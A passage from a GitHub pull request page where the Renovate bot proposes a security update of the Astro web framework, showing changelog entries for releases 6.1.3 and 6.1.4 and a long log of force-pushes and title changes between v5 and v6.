  • #​16192 79d86b8 Thanks @​alexanderniebuhr! - Uses today’s date for Cloudflare compatibility_date in astro add cloudflare

    When creating new projects, astro add cloudflare now sets compatibility_date to the current date. Previously, this date was resolved from locally installed packages, which could be unreliable in some package manager environments. Using today’s date is simpler and more reliable across environments, and is supported by workerd.

  • #​16259 34df955 Thanks @​gameroman! - Removed dlv dependency

v6.1.4

Compare Source

Patch Changes
  • #​16197 21f9fe2 Thanks @​SchahinRohani! - Remove unused re-exports from assets/utils barrel file to fix Vite build warning

  • #​16059 6d5469e Thanks @​matthewp! - Fixes Expected 'miniflare' to be defined errors and 404 responses in dev mode when using the Cloudflare adapter and the config file changes. Instead of creating a brand new Vite server on config changes, Astro now performs a Vite in-place restart, allowing the Cloudflare adapter to reuse its existing miniflare instance across restarts.

  • #​16154 7610ba4 Thanks @​Desel72! - Fixes pages with dots in their filenames (e.g. hello.world.astro) returning 404 when accessed with a trailing slash in the dev server. The trailingSlashForPath function now only forces trailingSlash: 'never' for endpoints with file extensions, allowing pages to correctly respect the user's trailingSlash config.

  • #​16193 23425e2 Thanks @​matthewp! - Fixes trailingSlash: "always" producing redirect HTML instead of the actual response for extensionless endpoints during static builds

v6.1.3

Compare Source

Patch Changes
  • #​16161 b51f297 Thanks @​matthewp! - Fixes a dev rendering issue with the Cloudflare adapter where head metadata could be missing and dev CSS/scripts could be injected in the wrong place

  • #​16110 de669f0 Thanks @​tmimmanuel! - Fixes skew protection query parameters not being appended to inter-chunk JavaScript imports in client bundles, which could cause version misma


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 2 times, most recently from 7cf1a26 to 5d09291 Compare October 21, 2025 23:15
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 3 times, most recently from f86f148 to ce05815 Compare November 14, 2025 02:12
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 3 times, most recently from 79cfdd8 to dee4a52 Compare November 19, 2025 21:59
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 2 times, most recently from 8a739a3 to 95b143d Compare December 3, 2025 21:40
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 2 times, most recently from 9fb21ad to 3373e72 Compare December 15, 2025 21:43
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 4 times, most recently from 76b6257 to 8235f89 Compare December 31, 2025 21:32
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 2 times, most recently from 0c0ef11 to 073e9fa Compare January 8, 2026 22:43
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 4 times, most recently from fc60566 to 8233e95 Compare January 23, 2026 23:03
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 2 times, most recently from 1e84d34 to 052e27d Compare February 2, 2026 17:12
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch 6 times, most recently from 2fe4af5 to c74fc8f Compare February 17, 2026 18:41
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 28283d4 to 7928aff Compare March 26, 2026 20:55
@renovate renovate Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v5 [SECURITY] Mar 26, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 7928aff to e2fcb35 Compare March 27, 2026 14:59
@renovate renovate Bot changed the title Update dependency astro to v5 [SECURITY] Update dependency astro to v6 [SECURITY] Mar 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from e2fcb35 to 98b6503 Compare March 27, 2026 18:37
@renovate renovate Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v5 [SECURITY] Mar 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 98b6503 to 3bbd2ce Compare April 1, 2026 20:16
@renovate renovate Bot changed the title Update dependency astro to v5 [SECURITY] Update dependency astro to v6 [SECURITY] Apr 1, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 3bbd2ce to c88a4db Compare April 1, 2026 23:16
@renovate renovate Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v5 [SECURITY] Apr 1, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from c88a4db to 0c83f52 Compare April 8, 2026 18:08
@renovate renovate Bot changed the title Update dependency astro to v5 [SECURITY] Update dependency astro to v6 [SECURITY] Apr 8, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 0c83f52 to 8b0f9fc Compare April 8, 2026 23:59
@renovate renovate Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v5 [SECURITY] Apr 8, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 8b0f9fc to 8e3a373 Compare April 15, 2026 08:38
@renovate renovate Bot changed the title Update dependency astro to v5 [SECURITY] Update dependency astro to v6 [SECURITY] Apr 15, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 8e3a373 to 49abb02 Compare April 16, 2026 08:55
@renovate renovate Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v5 [SECURITY] Apr 16, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 49abb02 to c9ab911 Compare April 16, 2026 16:04
@renovate renovate Bot changed the title Update dependency astro to v5 [SECURITY] Update dependency astro to v6 [SECURITY] Apr 16, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from c9ab911 to 036b4ae Compare April 16, 2026 23:33
@renovate renovate Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v5 [SECURITY] Apr 16, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 036b4ae to 2d198d6 Compare April 19, 2026 10:36
@renovate renovate Bot changed the title Update dependency astro to v5 [SECURITY] Update dependency astro to v6 [SECURITY] Apr 19, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from 2d198d6 to f94873c Compare April 19, 2026 17:20
@renovate renovate Bot changed the title Update dependency astro to v6 [SECURITY] Update dependency astro to v5 [SECURITY] Apr 19, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from f94873c to c948ccd Compare April 21, 2026 22:10
@renovate renovate Bot changed the title Update dependency astro to v5 [SECURITY] Update dependency astro to v6 [SECURITY] Apr 21, 2026
@renovate renovate Bot force-pushed the renovate/npm-astro-vulnerability branch from c948ccd to 44f6a03 Compare April 22, 2026 01:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants